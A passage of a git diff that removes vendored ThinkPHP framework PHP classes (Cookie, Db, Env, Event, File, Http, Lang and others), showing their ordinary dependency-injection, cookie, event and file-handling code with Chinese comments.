$lowerName = Str::snake($name); - $class = $param->getClass(); - - if ($class) { - $args[] = $this->getObjectParam($class->getName(), $vars); - } elseif (1 == $type && !empty($vars)) { - $args[] = array_shift($vars); - } elseif (0 == $type && array_key_exists($name, $vars)) { - $args[] = $vars[$name]; - } elseif (0 == $type && array_key_exists($lowerName, $vars)) { - $args[] = $vars[$lowerName]; - } elseif ($param->isDefaultValueAvailable()) { - $args[] = $param->getDefaultValue(); - } else { - throw new InvalidArgumentException('method param miss:' . $name); - } - } - - return $args; - } - - /** - * 创建工厂对象实例 - * @param string $name 工厂类名 - * @param string $namespace 默认命名空间 - * @param array $args - * @return mixed - * @deprecated - * @access public - */ - public static function factory(string $name, string $namespace = '', ...$args) - { - $class = false !== strpos($name, '\\') ? $name : $namespace . ucwords($name); - - return Container::getInstance()->invokeClass($class, $args); - } - - /** - * 获取对象类型的参数值 - * @access protected - * @param string $className 类名 - * @param array $vars 参数 - * @return mixed - */ - protected function getObjectParam(string $className, array &$vars) - { - $array = $vars; - $value = array_shift($array); - - if ($value instanceof $className) { - $result = $value; - array_shift($vars); - } else { - $result = $this->make($className); - } - - return $result; - } - - public function __set($name, $value) - { - $this->bind($name, $value); - } - - public function __get($name) - { - return $this->get($name); - } - - public function __isset($name): bool - { - return $this->exists($name); - } - - public function __unset($name) - { - $this->delete($name); - } - - public function offsetExists($key) - { - return $this->exists($key); - } - - public function offsetGet($key) - { - return $this->make($key); - } - - public function offsetSet($key, $value) - { - $this->bind($key, $value); - } - - public function offsetUnset($key) - { - $this->delete($key); - } - - //Countable - public function count() - { - return count($this->instances); - } - - //IteratorAggregate - public function getIterator() - { - return new ArrayIterator($this->instances); - } -} diff --git a/vendor/topthink/framework/src/think/Cookie.php b/vendor/topthink/framework/src/think/Cookie.php deleted file mode 100644 index 6eb85b6..0000000 --- a/vendor/topthink/framework/src/think/Cookie.php +++ /dev/null @@ -1,230 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use DateTimeInterface; - -/** - * Cookie管理类 - * @package think - */ -class Cookie -{ - /** - * 配置参数 - * @var array - */ - protected $config = [ - // cookie 保存时间 - 'expire' => 0, - // cookie 保存路径 - 'path' => '/', - // cookie 有效域名 - 'domain' => '', - // cookie 启用安全传输 - 'secure' => false, - // httponly设置 - 'httponly' => false, - // samesite 设置,支持 'strict' 'lax' - 'samesite' => '', - ]; - - /** - * Cookie写入数据 - * @var array - */ - protected $cookie = []; - - /** - * 当前Request对象 - * @var Request - */ - protected $request; - - /** - * 构造方法 - * @access public - */ - public function __construct(Request $request, array $config = []) - { - $this->request = $request; - $this->config = array_merge($this->config, array_change_key_case($config)); - } - - public static function __make(Request $request, Config $config) - { - return new static($request, $config->get('cookie')); - } - - /** - * 获取cookie - * @access public - * @param mixed $name 数据名称 - * @param string $default 默认值 - * @return mixed - */ - public function get(string $name = '', $default = null) - { - return $this->request->cookie($name, $default); - } - - /** - * 是否存在Cookie参数 - * @access public - * @param string $name 变量名 - * @return bool - */ - public function has(string $name): bool - { - return $this->request->has($name, 'cookie'); - } - - /** - * Cookie 设置 - * - * @access public - * @param string $name cookie名称 - * @param string $value cookie值 - * @param mixed $option 可选参数 - * @return void - */ - public function set(string $name, string $value, $option = null): void - { - // 参数设置(会覆盖黙认设置) - if (!is_null($option)) { - if (is_numeric($option) || $option instanceof DateTimeInterface) { - $option = ['expire' => $option]; - } - - $config = array_merge($this->config, array_change_key_case($option)); - } else { - $config = $this->config; - } - - if ($config['expire'] instanceof DateTimeInterface) { - $expire = $config['expire']->getTimestamp(); - } else { - $expire = !empty($config['expire']) ? time() + intval($config['expire']) : 0; - } - - $this->setCookie($name, $value, $expire, $config); - } - - /** - * Cookie 保存 - * - * @access public - * @param string $name cookie名称 - * @param string $value cookie值 - * @param int $expire 有效期 - * @param array $option 可选参数 - * @return void - */ - protected function setCookie(string $name, string $value, int $expire, array $option = []): void - { - $this->cookie[$name] = [$value, $expire, $option]; - } - - /** - * 永久保存Cookie数据 - * @access public - * @param string $name cookie名称 - * @param string $value cookie值 - * @param mixed $option 可选参数 可能会是 null|integer|string - * @return void - */ - public function forever(string $name, string $value = '', $option = null): void - { - if (is_null($option) || is_numeric($option)) { - $option = []; - } - - $option['expire'] = 315360000; - - $this->set($name, $value, $option); - } - - /** - * Cookie删除 - * @access public - * @param string $name cookie名称 - * @return void - */ - public function delete(string $name): void - { - $this->setCookie($name, '', time() - 3600, $this->config); - } - - /** - * 获取cookie保存数据 - * @access public - * @return array - */ - public function getCookie(): array - { - return $this->cookie; - } - - /** - * 保存Cookie - * @access public - * @return void - */ - public function save(): void - { - foreach ($this->cookie as $name => $val) { - [$value, $expire, $option] = $val; - - $this->saveCookie( - $name, - $value, - $expire, - $option['path'], - $option['domain'], - $option['secure'] ? true : false, - $option['httponly'] ? true : false, - $option['samesite'] - ); - } - } - - /** - * 保存Cookie - * @access public - * @param string $name cookie名称 - * @param string $value cookie值 - * @param int $expire cookie过期时间 - * @param string $path 有效的服务器路径 - * @param string $domain 有效域名/子域名 - * @param bool $secure 是否仅仅通过HTTPS - * @param bool $httponly 仅可通过HTTP访问 - * @param string $samesite 防止CSRF攻击和用户追踪 - * @return void - */ - protected function saveCookie(string $name, string $value, int $expire, string $path, string $domain, bool $secure, bool $httponly, string $samesite): void - { - if (version_compare(PHP_VERSION, '7.3.0', '>=')) { - setcookie($name, $value, [ - 'expires' => $expire, - 'path' => $path, - 'domain' => $domain, - 'secure' => $secure, - 'httponly' => $httponly, - 'samesite' => $samesite, - ]); - } else { - setcookie($name, $value, $expire, $path, $domain, $secure, $httponly); - } - } - -} diff --git a/vendor/topthink/framework/src/think/Db.php b/vendor/topthink/framework/src/think/Db.php deleted file mode 100644 index fac8d07..0000000 --- a/vendor/topthink/framework/src/think/Db.php +++ /dev/null @@ -1,117 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -/** - * 数据库管理类 - * @package think - * @property Config $config - */ -class Db extends DbManager -{ - /** - * @param Event $event - * @param Config $config - * @param Log $log - * @param Cache $cache - * @return Db - * @codeCoverageIgnore - */ - public static function __make(Event $event, Config $config, Log $log, Cache $cache) - { - $db = new static(); - $db->setConfig($config); - $db->setEvent($event); - $db->setLog($log); - - $store = $db->getConfig('cache_store'); - $db->setCache($cache->store($store)); - $db->triggerSql(); - - return $db; - } - - /** - * 注入模型对象 - * @access public - * @return void - */ - protected function modelMaker() - { - } - - /** - * 设置配置对象 - * @access public - * @param Config $config 配置对象 - * @return void - */ - public function setConfig($config): void - { - $this->config = $config; - } - - /** - * 获取配置参数 - * @access public - * @param string $name 配置参数 - * @param mixed $default 默认值 - * @return mixed - */ - public function getConfig(string $name = '', $default = null) - { - if ('' !== $name) { - return $this->config->get('database.' . $name, $default); - } - - return $this->config->get('database', []); - } - - /** - * 设置Event对象 - * @param Event $event - */ - public function setEvent(Event $event): void - { - $this->event = $event; - } - - /** - * 注册回调方法 - * @access public - * @param string $event 事件名 - * @param callable $callback 回调方法 - * @return void - */ - public function event(string $event, callable $callback): void - { - if ($this->event) { - $this->event->listen('db.' . $event, $callback); - } - } - - /** - * 触发事件 - * @access public - * @param string $event 事件名 - * @param mixed $params 传入参数 - * @param bool $once - * @return mixed - */ - public function trigger(string $event, $params = null, bool $once = false) - { - if ($this->event) { - return $this->event->trigger('db.' . $event, $params, $once); - } - } -} diff --git a/vendor/topthink/framework/src/think/Env.php b/vendor/topthink/framework/src/think/Env.php deleted file mode 100644 index 05228aa..0000000 --- a/vendor/topthink/framework/src/think/Env.php +++ /dev/null @@ -1,181 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ArrayAccess; - -/** - * Env管理类 - * @package think - */ -class Env implements ArrayAccess -{ - /** - * 环境变量数据 - * @var array - */ - protected $data = []; - - public function __construct() - { - $this->data = $_ENV; - } - - /** - * 读取环境变量定义文件 - * @access public - * @param string $file 环境变量定义文件 - * @return void - */ - public function load(string $file): void - { - $env = parse_ini_file($file, true) ?: []; - $this->set($env); - } - - /** - * 获取环境变量值 - * @access public - * @param string $name 环境变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get(string $name = null, $default = null) - { - if (is_null($name)) { - return $this->data; - } - - $name = strtoupper(str_replace('.', '_', $name)); - - if (isset($this->data[$name])) { - return $this->data[$name]; - } - - return $this->getEnv($name, $default); - } - - protected function getEnv(string $name, $default = null) - { - $result = getenv('PHP_' . $name); - - if (false === $result) { - return $default; - } - - if ('false' === $result) { - $result = false; - } elseif ('true' === $result) { - $result = true; - } - - if (!isset($this->data[$name])) { - $this->data[$name] = $result; - } - - return $result; - } - - /** - * 设置环境变量值 - * @access public - * @param string|array $env 环境变量 - * @param mixed $value 值 - * @return void - */ - public function set($env, $value = null): void - { - if (is_array($env)) { - $env = array_change_key_case($env, CASE_UPPER); - - foreach ($env as $key => $val) { - if (is_array($val)) { - foreach ($val as $k => $v) { - $this->data[$key . '_' . strtoupper($k)] = $v; - } - } else { - $this->data[$key] = $val; - } - } - } else { - $name = strtoupper(str_replace('.', '_', $env)); - - $this->data[$name] = $value; - } - } - - /** - * 检测是否存在环境变量 - * @access public - * @param string $name 参数名 - * @return bool - */ - public function has(string $name): bool - { - return !is_null($this->get($name)); - } - - /** - * 设置环境变量 - * @access public - * @param string $name 参数名 - * @param mixed $value 值 - */ - public function __set(string $name, $value): void - { - $this->set($name, $value); - } - - /** - * 获取环境变量 - * @access public - * @param string $name 参数名 - * @return mixed - */ - public function __get(string $name) - { - return $this->get($name); - } - - /** - * 检测是否存在环境变量 - * @access public - * @param string $name 参数名 - * @return bool - */ - public function __isset(string $name): bool - { - return $this->has($name); - } - - // ArrayAccess - public function offsetSet($name, $value): void - { - $this->set($name, $value); - } - - public function offsetExists($name): bool - { - return $this->__isset($name); - } - - public function offsetUnset($name) - { - throw new Exception('not support: unset'); - } - - public function offsetGet($name) - { - return $this->get($name); - } -} diff --git a/vendor/topthink/framework/src/think/Event.php b/vendor/topthink/framework/src/think/Event.php deleted file mode 100644 index edef54c..0000000 --- a/vendor/topthink/framework/src/think/Event.php +++ /dev/null @@ -1,263 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ReflectionClass; -use ReflectionMethod; - -/** - * 事件管理类 - * @package think - */ -class Event -{ - /** - * 监听者 - * @var array - */ - protected $listener = []; - - /** - * 事件别名 - * @var array - */ - protected $bind = [ - 'AppInit' => event\AppInit::class, - 'HttpRun' => event\HttpRun::class, - 'HttpEnd' => event\HttpEnd::class, - 'RouteLoaded' => event\RouteLoaded::class, - 'LogWrite' => event\LogWrite::class, - ]; - - /** - * 应用对象 - * @var App - */ - protected $app; - - public function __construct(App $app) - { - $this->app = $app; - } - - /** - * 批量注册事件监听 - * @access public - * @param array $events 事件定义 - * @return $this - */ - public function listenEvents(array $events) - { - foreach ($events as $event => $listeners) { - if (isset($this->bind[$event])) { - $event = $this->bind[$event]; - } - - $this->listener[$event] = array_merge($this->listener[$event] ?? [], $listeners); - } - - return $this; - } - - /** - * 注册事件监听 - * @access public - * @param string $event 事件名称 - * @param mixed $listener 监听操作(或者类名) - * @param bool $first 是否优先执行 - * @return $this - */ - public function listen(string $event, $listener, bool $first = false) - { - if (isset($this->bind[$event])) { - $event = $this->bind[$event]; - } - - if ($first && isset($this->listener[$event])) { - array_unshift($this->listener[$event], $listener); - } else { - $this->listener[$event][] = $listener; - } - - return $this; - } - - /** - * 是否存在事件监听 - * @access public - * @param string $event 事件名称 - * @return bool - */ - public function hasListener(string $event): bool - { - if (isset($this->bind[$event])) { - $event = $this->bind[$event]; - } - - return isset($this->listener[$event]); - } - - /** - * 移除事件监听 - * @access public - * @param string $event 事件名称 - * @return void - */ - public function remove(string $event): void - { - if (isset($this->bind[$event])) { - $event = $this->bind[$event]; - } - - unset($this->listener[$event]); - } - - /** - * 指定事件别名标识 便于调用 - * @access public - * @param array $events 事件别名 - * @return $this - */ - public function bind(array $events) - { - $this->bind = array_merge($this->bind, $events); - - return $this; - } - - /** - * 注册事件订阅者 - * @access public - * @param mixed $subscriber 订阅者 - * @return $this - */ - public function subscribe($subscriber) - { - $subscribers = (array) $subscriber; - - foreach ($subscribers as $subscriber) { - if (is_string($subscriber)) { - $subscriber = $this->app->make($subscriber); - } - - if (method_exists($subscriber, 'subscribe')) { - // 手动订阅 - $subscriber->subscribe($this); - } else { - // 智能订阅 - $this->observe($subscriber); - } - } - - return $this; - } - - /** - * 自动注册事件观察者 - * @access public - * @param string|object $observer 观察者 - * @param null|string $prefix 事件名前缀 - * @return $this - */ - public function observe($observer, string $prefix = '') - { - if (is_string($observer)) { - $observer = $this->app->make($observer); - } - - $reflect = new ReflectionClass($observer); - $methods = $reflect->getMethods(ReflectionMethod::IS_PUBLIC); - - if (empty($prefix) && $reflect->hasProperty('eventPrefix')) { - $reflectProperty = $reflect->getProperty('eventPrefix'); - $reflectProperty->setAccessible(true); - $prefix = $reflectProperty->getValue($observer); - } - - foreach ($methods as $method) { - $name = $method->getName(); - if (0 === strpos($name, 'on')) { - $this->listen($prefix . substr($name, 2), [$observer, $name]); - } - } - - return $this; - } - - /** - * 触发事件 - * @access public - * @param string|object $event 事件名称 - * @param mixed $params 传入参数 - * @param bool $once 只获取一个有效返回值 - * @return mixed - */ - public function trigger($event, $params = null, bool $once = false) - { - if (is_object($event)) { - $params = $event; - $event = get_class($event); - } - - if (isset($this->bind[$event])) { - $event = $this->bind[$event]; - } - - $result = []; - $listeners = $this->listener[$event] ?? []; - $listeners = array_unique($listeners, SORT_REGULAR); - - foreach ($listeners as $key => $listener) { - $result[$key] = $this->dispatch($listener, $params); - - if (false === $result[$key] || (!is_null($result[$key]) && $once)) { - break; - } - } - - return $once ? end($result) : $result; - } - - /** - * 触发事件(只获取一个有效返回值) - * @param $event - * @param null $params - * @return mixed - */ - public function until($event, $params = null) - { - return $this->trigger($event, $params, true); - } - - /** - * 执行事件调度 - * @access protected - * @param mixed $event 事件方法 - * @param mixed $params 参数 - * @return mixed - */ - protected function dispatch($event, $params = null) - { - if (!is_string($event)) { - $call = $event; - } elseif (strpos($event, '::')) { - $call = $event; - } else { - $obj = $this->app->make($event); - $call = [$obj, 'handle']; - } - - return $this->app->invoke($call, [$params]); - } - -} diff --git a/vendor/topthink/framework/src/think/Exception.php b/vendor/topthink/framework/src/think/Exception.php deleted file mode 100644 index 468e29d..0000000 --- a/vendor/topthink/framework/src/think/Exception.php +++ /dev/null @@ -1,60 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -/** - * 异常基础类 - * @package think - */ -class Exception extends \Exception -{ - /** - * 保存异常页面显示的额外Debug数据 - * @var array - */ - protected $data = []; - - /** - * 设置异常额外的Debug数据 - * 数据将会显示为下面的格式 - * - * Exception Data - * -------------------------------------------------- - * Label 1 - * key1 value1 - * key2 value2 - * Label 2 - * key1 value1 - * key2 value2 - * - * @access protected - * @param string $label 数据分类,用于异常页面显示 - * @param array $data 需要显示的数据,必须为关联数组 - */ - final protected function setData(string $label, array $data) - { - $this->data[$label] = $data; - } - - /** - * 获取异常额外Debug数据 - * 主要用于输出到异常页面便于调试 - * @access public - * @return array 由setData设置的Debug数据 - */ - final public function getData() - { - return $this->data; - } - -} diff --git a/vendor/topthink/framework/src/think/Facade.php b/vendor/topthink/framework/src/think/Facade.php deleted file mode 100644 index 7921298..0000000 --- a/vendor/topthink/framework/src/think/Facade.php +++ /dev/null @@ -1,98 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think; - -/** - * Facade管理类 - */ -class Facade -{ - /** - * 始终创建新的对象实例 - * @var bool - */ - protected static $alwaysNewInstance; - - /** - * 创建Facade实例 - * @static - * @access protected - * @param string $class 类名或标识 - * @param array $args 变量 - * @param bool $newInstance 是否每次创建新的实例 - * @return object - */ - protected static function createFacade(string $class = '', array $args = [], bool $newInstance = false) - { - $class = $class ?: static::class; - - $facadeClass = static::getFacadeClass(); - - if ($facadeClass) { - $class = $facadeClass; - } - - if (static::$alwaysNewInstance) { - $newInstance = true; - } - - return Container::getInstance()->make($class, $args, $newInstance); - } - - /** - * 获取当前Facade对应类名 - * @access protected - * @return string - */ - protected static function getFacadeClass() - {} - - /** - * 带参数实例化当前Facade类 - * @access public - * @return object - */ - public static function instance(...$args) - { - if (__CLASS__ != static::class) { - return self::createFacade('', $args); - } - } - - /** - * 调用类的实例 - * @access public - * @param string $class 类名或者标识 - * @param array|true $args 变量 - * @param bool $newInstance 是否每次创建新的实例 - * @return object - */ - public static function make(string $class, $args = [], $newInstance = false) - { - if (__CLASS__ != static::class) { - return self::__callStatic('make', func_get_args()); - } - - if (true === $args) { - // 总是创建新的实例化对象 - $newInstance = true; - $args = []; - } - - return self::createFacade($class, $args, $newInstance); - } - - // 调用实际类的方法 - public static function __callStatic($method, $params) - { - return call_user_func_array([static::createFacade(), $method], $params); - } -} diff --git a/vendor/topthink/framework/src/think/File.php b/vendor/topthink/framework/src/think/File.php deleted file mode 100644 index 77bec89..0000000 --- a/vendor/topthink/framework/src/think/File.php +++ /dev/null @@ -1,187 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use SplFileInfo; -use think\exception\FileException; - -/** - * 文件上传类 - * @package think - */ -class File extends SplFileInfo -{ - - /** - * 文件hash规则 - * @var array - */ - protected $hash = []; - - protected $hashName; - - public function __construct(string $path, bool $checkPath = true) - { - if ($checkPath && !is_file($path)) { - throw new FileException(sprintf('The file "%s" does not exist', $path)); - } - - parent::__construct($path); - } - - /** - * 获取文件的哈希散列值 - * @access public - * @param string $type - * @return string - */ - public function hash(string $type = 'sha1'): string - { - if (!isset($this->hash[$type])) { - $this->hash[$type] = hash_file($type, $this->getPathname()); - } - - return $this->hash[$type]; - } - - /** - * 获取文件的MD5值 - * @access public - * @return string - */ - public function md5(): string - { - return $this->hash('md5'); - } - - /** - * 获取文件的SHA1值 - * @access public - * @return string - */ - public function sha1(): string - { - return $this->hash('sha1'); - } - - /** - * 获取文件类型信息 - * @access public - * @return string - */ - public function getMime(): string - { - $finfo = finfo_open(FILEINFO_MIME_TYPE); - - return finfo_file($finfo, $this->getPathname()); - } - - /** - * 移动文件 - * @access public - * @param string $directory 保存路径 - * @param string|null $name 保存的文件名 - * @return File - */ - public function move(string $directory, string $name = null): File - { - $target = $this->getTargetFile($directory, $name); - - set_error_handler(function ($type, $msg) use (&$error) { - $error = $msg; - }); - $renamed = rename($this->getPathname(), (string) $target); - restore_error_handler(); - if (!$renamed) { - throw new FileException(sprintf('Could not move the file "%s" to "%s" (%s)', $this->getPathname(), $target, strip_tags($error))); - } - - @chmod((string) $target, 0666 & ~umask()); - - return $target; - } - - /** - * 实例化一个新文件 - * @param string $directory - * @param null|string $name - * @return File - */ - protected function getTargetFile(string $directory, string $name = null): File - { - if (!is_dir($directory)) { - if (false === @mkdir($directory, 0777, true) && !is_dir($directory)) { - throw new FileException(sprintf('Unable to create the "%s" directory', $directory)); - } - } elseif (!is_writable($directory)) { - throw new FileException(sprintf('Unable to write in the "%s" directory', $directory)); - } - - $target = rtrim($directory, '/\\') . \DIRECTORY_SEPARATOR . (null === $name ? $this->getBasename() : $this->getName($name)); - - return new self($target, false); - } - - /** - * 获取文件名 - * @param string $name - * @return string - */ - protected function getName(string $name): string - { - $originalName = str_replace('\\', '/', $name); - $pos = strrpos($originalName, '/'); - $originalName = false === $pos ? $originalName : substr($originalName, $pos + 1); - - return $originalName; - } - - /** - * 文件扩展名 - * @return string - */ - public function extension(): string - { - return $this->getExtension(); - } - - /** - * 自动生成文件名 - * @access public - * @param string|\Closure $rule - * @return string - */ - public function hashName($rule = ''): string - { - if (!$this->hashName) { - if ($rule instanceof \Closure) { - $this->hashName = call_user_func_array($rule, [$this]); - } else { - switch (true) { - case in_array($rule, hash_algos()): - $hash = $this->hash($rule); - $this->hashName = substr($hash, 0, 2) . DIRECTORY_SEPARATOR . substr($hash, 2); - break; - case is_callable($rule): - $this->hashName = call_user_func($rule); - break; - default: - $this->hashName = date('Ymd') . DIRECTORY_SEPARATOR . md5((string) microtime(true)); - break; - } - } - } - - return $this->hashName . '.' . $this->extension(); - } -} diff --git a/vendor/topthink/framework/src/think/Filesystem.php b/vendor/topthink/framework/src/think/Filesystem.php deleted file mode 100644 index a443f74..0000000 --- a/vendor/topthink/framework/src/think/Filesystem.php +++ /dev/null @@ -1,89 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use InvalidArgumentException; -use think\filesystem\Driver; -use think\filesystem\driver\Local; -use think\helper\Arr; - -/** - * Class Filesystem - * @package think - * @mixin Driver - * @mixin Local - */ -class Filesystem extends Manager -{ - protected $namespace = '\\think\\filesystem\\driver\\'; - - /** - * @param null|string $name - * @return Driver - */ - public function disk(string $name = null): Driver - { - return $this->driver($name); - } - - protected function resolveType(string $name) - { - return $this->getDiskConfig($name, 'type', 'local'); - } - - protected function resolveConfig(string $name) - { - return $this->getDiskConfig($name); - } - - /** - * 获取缓存配置 - * @access public - * @param null|string $name 名称 - * @param mixed $default 默认值 - * @return mixed - */ - public function getConfig(string $name = null, $default = null) - { - if (!is_null($name)) { - return $this->app->config->get('filesystem.' . $name, $default); - } - - return $this->app->config->get('filesystem'); - } - - /** - * 获取磁盘配置 - * @param string $disk - * @param null $name - * @param null $default - * @return array - */ - public function getDiskConfig($disk, $name = null, $default = null) - { - if ($config = $this->getConfig("disks.{$disk}")) { - return Arr::get($config, $name, $default); - } - - throw new InvalidArgumentException("Disk [$disk] not found."); - } - - /** - * 默认驱动 - * @return string|null - */ - public function getDefaultDriver() - { - return $this->getConfig('default'); - } -} diff --git a/vendor/topthink/framework/src/think/Http.php b/vendor/topthink/framework/src/think/Http.php deleted file mode 100644 index 4bc632c..0000000 --- a/vendor/topthink/framework/src/think/Http.php +++ /dev/null @@ -1,288 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use think\event\HttpEnd; -use think\event\HttpRun; -use think\event\RouteLoaded; -use think\exception\Handle; -use Throwable; - -/** - * Web应用管理类 - * @package think - */ -class Http -{ - - /** - * @var App - */ - protected $app; - - /** - * 应用名称 - * @var string - */ - protected $name; - - /** - * 应用路径 - * @var string - */ - protected $path; - - /** - * 路由路径 - * @var string - */ - protected $routePath; - - /** - * 是否绑定应用 - * @var bool - */ - protected $isBind = false; - - public function __construct(App $app) - { - $this->app = $app; - - $this->routePath = $this->app->getRootPath() . 'route' . DIRECTORY_SEPARATOR; - } - - /** - * 设置应用名称 - * @access public - * @param string $name 应用名称 - * @return $this - */ - public function name(string $name) - { - $this->name = $name; - return $this; - } - - /** - * 获取应用名称 - * @access public - * @return string - */ - public function getName(): string - { - return $this->name ?: ''; - } - - /** - * 设置应用目录 - * @access public - * @param string $path 应用目录 - * @return $this - */ - public function path(string $path) - { - if (substr($path, -1) != DIRECTORY_SEPARATOR) { - $path .= DIRECTORY_SEPARATOR; - } - - $this->path = $path; - return $this; - } - - /** - * 获取应用路径 - * @access public - * @return string - */ - public function getPath(): string - { - return $this->path ?: ''; - } - - /** - * 获取路由目录 - * @access public - * @return string - */ - public function getRoutePath(): string - { - return $this->routePath; - } - - /** - * 设置路由目录 - * @access public - * @param string $path 路由定义目录 - */ - public function setRoutePath(string $path): void - { - $this->routePath = $path; - } - - /** - * 设置应用绑定 - * @access public - * @param bool $bind 是否绑定 - * @return $this - */ - public function setBind(bool $bind = true) - { - $this->isBind = $bind; - return $this; - } - - /** - * 是否绑定应用 - * @access public - * @return bool - */ - public function isBind(): bool - { - return $this->isBind; - } - - /** - * 执行应用程序 - * @access public - * @param Request|null $request - * @return Response - */ - public function run(Request $request = null): Response - { - //初始化 - $this->initialize(); - - //自动创建request对象 - $request = $request ?? $this->app->make('request', [], true); - $this->app->instance('request', $request); - - try { - $response = $this->runWithRequest($request); - } catch (Throwable $e) { - $this->reportException($e); - - $response = $this->renderException($request, $e); - } - - return $response; - } - - /** - * 初始化 - */ - protected function initialize() - { - if (!$this->app->initialized()) { - $this->app->initialize(); - } - } - - /** - * 执行应用程序 - * @param Request $request - * @return mixed - */ - protected function runWithRequest(Request $request) - { - // 加载全局中间件 - $this->loadMiddleware(); - - // 监听HttpRun - $this->app->event->trigger(HttpRun::class); - - return $this->app->middleware->pipeline() - ->send($request) - ->then(function ($request) { - return $this->dispatchToRoute($request); - }); - } - - protected function dispatchToRoute($request) - { - $withRoute = $this->app->config->get('app.with_route', true) ? function () { - $this->loadRoutes(); - } : null; - - return $this->app->route->dispatch($request, $withRoute); - } - - /** - * 加载全局中间件 - */ - protected function loadMiddleware(): void - { - if (is_file($this->app->getBasePath() . 'middleware.php')) { - $this->app->middleware->import(include $this->app->getBasePath() . 'middleware.php'); - } - } - - /** - * 加载路由 - * @access protected - * @return void - */ - protected function loadRoutes(): void - { - // 加载路由定义 - $routePath = $this->getRoutePath(); - - if (is_dir($routePath)) { - $files = glob($routePath . '*.php'); - foreach ($files as $file) { - include $file; - } - } - - $this->app->event->trigger(RouteLoaded::class); - } - - /** - * Report the exception to the exception handler. - * - * @param Throwable $e - * @return void - */ - protected function reportException(Throwable $e) - { - $this->app->make(Handle::class)->report($e); - } - - /** - * Render the exception to a response. - * - * @param Request $request - * @param Throwable $e - * @return Response - */ - protected function renderException($request, Throwable $e) - { - return $this->app->make(Handle::class)->render($request, $e); - } - - /** - * HttpEnd - * @param Response $response - * @return void - */ - public function end(Response $response): void - { - $this->app->event->trigger(HttpEnd::class, $response); - - //执行中间件 - $this->app->middleware->end($response); - - // 写入日志 - $this->app->log->save(); - } - -} diff --git a/vendor/topthink/framework/src/think/Lang.php b/vendor/topthink/framework/src/think/Lang.php deleted file mode 100644 index d811ea7..0000000 --- a/vendor/topthink/framework/src/think/Lang.php +++ /dev/null @@ -1,294 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -/** - * 多语言管理类 - * @package think - */ -class Lang -{ - /** - * 配置参数 - * @var array - */ - protected $config = [ - // 默认语言 - 'default_lang' => 'zh-cn', - // 允许的语言列表 - 'allow_lang_list' => [], - // 是否使用Cookie记录 - 'use_cookie' => true, - // 扩展语言包 - 'extend_list' => [], - // 多语言cookie变量 - 'cookie_var' => 'think_lang', - // 多语言header变量 - 'header_var' => 'think-lang', - // 多语言自动侦测变量名 - 'detect_var' => 'lang', - // Accept-Language转义为对应语言包名称 - 'accept_language' => [ - 'zh-hans-cn' => 'zh-cn', - ], - // 是否支持语言分组 - 'allow_group' => false, - ]; - - /** - * 多语言信息 - * @var array - */ - private $lang = []; - - /** - * 当前语言 - * @var string - */ - private $range = 'zh-cn'; - - /** - * 构造方法 - * @access public - * @param array $config - */ - public function __construct(array $config = []) - { - $this->config = array_merge($this->config, array_change_key_case($config)); - $this->range = $this->config['default_lang']; - } - - public static function __make(Config $config) - { - return new static($config->get('lang')); - } - - /** - * 设置当前语言 - * @access public - * @param string $lang 语言 - * @return void - */ - public function setLangSet(string $lang): void - { - $this->range = $lang; - } - - /** - * 获取当前语言 - * @access public - * @return string - */ - public function getLangSet(): string - { - return $this->range; - } - - /** - * 获取默认语言 - * @access public - * @return string - */ - public function defaultLangSet() - { - return $this->config['default_lang']; - } - - /** - * 加载语言定义(不区分大小写) - * @access public - * @param string|array $file 语言文件 - * @param string $range 语言作用域 - * @return array - */ - public function load($file, $range = ''): array - { - $range = $range ?: $this->range; - if (!isset($this->lang[$range])) { - $this->lang[$range] = []; - } - - $lang = []; - - foreach ((array) $file as $name) { - if (is_file($name)) { - $result = $this->parse($name); - $lang = array_change_key_case($result) + $lang; - } - } - - if (!empty($lang)) { - $this->lang[$range] = $lang + $this->lang[$range]; - } - - return $this->lang[$range]; - } - - /** - * 解析语言文件 - * @access protected - * @param string $file 语言文件名 - * @return array - */ - protected function parse(string $file): array - { - $type = pathinfo($file, PATHINFO_EXTENSION); - - switch ($type) { - case 'php': - $result = include $file; - break; - case 'yml': - case 'yaml': - if (function_exists('yaml_parse_file')) { - $result = yaml_parse_file($file); - } - break; - case 'json': - $data = file_get_contents($file); - - if($data !== false) { - $data = json_decode($data, true); - - if(json_last_error() === JSON_ERROR_NONE) { - $result = $data; - } - } - - break; - } - - return isset($result) && is_array($result) ? $result : []; - } - - /** - * 判断是否存在语言定义(不区分大小写) - * @access public - * @param string|null $name 语言变量 - * @param string $range 语言作用域 - * @return bool - */ - public function has(string $name, string $range = ''): bool - { - $range = $range ?: $this->range; - - if ($this->config['allow_group'] && strpos($name, '.')) { - [$name1, $name2] = explode('.', $name, 2); - return isset($this->lang[$range][strtolower($name1)][$name2]); - } - - return isset($this->lang[$range][strtolower($name)]); - } - - /** - * 获取语言定义(不区分大小写) - * @access public - * @param string|null $name 语言变量 - * @param array $vars 变量替换 - * @param string $range 语言作用域 - * @return mixed - */ - public function get(string $name = null, array $vars = [], string $range = '') - { - $range = $range ?: $this->range; - - // 空参数返回所有定义 - if (is_null($name)) { - return $this->lang[$range] ?? []; - } - - if ($this->config['allow_group'] && strpos($name, '.')) { - [$name1, $name2] = explode('.', $name, 2); - - $value = $this->lang[$range][strtolower($name1)][$name2] ?? $name; - } else { - $value = $this->lang[$range][strtolower($name)] ?? $name; - } - - // 变量解析 - if (!empty($vars) && is_array($vars)) { - /** - * Notes: - * 为了检测的方便,数字索引的判断仅仅是参数数组的第一个元素的key为数字0 - * 数字索引采用的是系统的 sprintf 函数替换,用法请参考 sprintf 函数 - */ - if (key($vars) === 0) { - // 数字索引解析 - array_unshift($vars, $value); - $value = call_user_func_array('sprintf', $vars); - } else { - // 关联索引解析 - $replace = array_keys($vars); - foreach 